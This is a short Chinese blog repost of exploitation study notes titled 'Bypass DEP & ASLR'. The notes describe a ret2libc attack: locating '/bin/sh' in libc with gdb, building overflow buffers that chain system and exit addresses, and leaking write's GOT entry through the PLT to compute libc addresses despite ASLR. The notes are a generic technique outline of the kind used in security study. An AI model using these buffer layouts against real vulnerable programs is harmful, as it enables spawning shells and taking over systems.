码迷,mamicode.com
首页 > 其他好文 > 详细

Bypass DEP & ASLR

时间:2015-12-14 01:14:41      阅读:263      评论:0      收藏:0      [点我收藏+]

标签:

1.从libc中找到"/bin/sh"的地址

(gdb)find __libc_start_main,length,"/bin/sh"

2.安排缓冲区

‘a‘*length+addressOfSystem+addressOfExit+addressOfBinSh

3.PLT & GOT

延迟绑定:PLT第一次调用确定GOT地址,第二次直接使用。

利用libc中函数相对位置不变的特性。

分析libc.so可以得到pltofwrite,pltofsystem

缓冲区1:‘a‘*length+PLT_Write+myFunc+1+GOT_Write+4

gotofsystem=gotofwrite+(pltofsystem-pltofwrite)

bin_addr = write_addr - (libc.symbols[‘write‘] - next(libc.search(‘/bin/sh‘)))

缓冲区2:‘a‘*length+gotofsystem+addressofexit+bin_addr

Bypass DEP & ASLR

标签:

原文地址:http://www.cnblogs.com/xiaofool/p/5043927.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!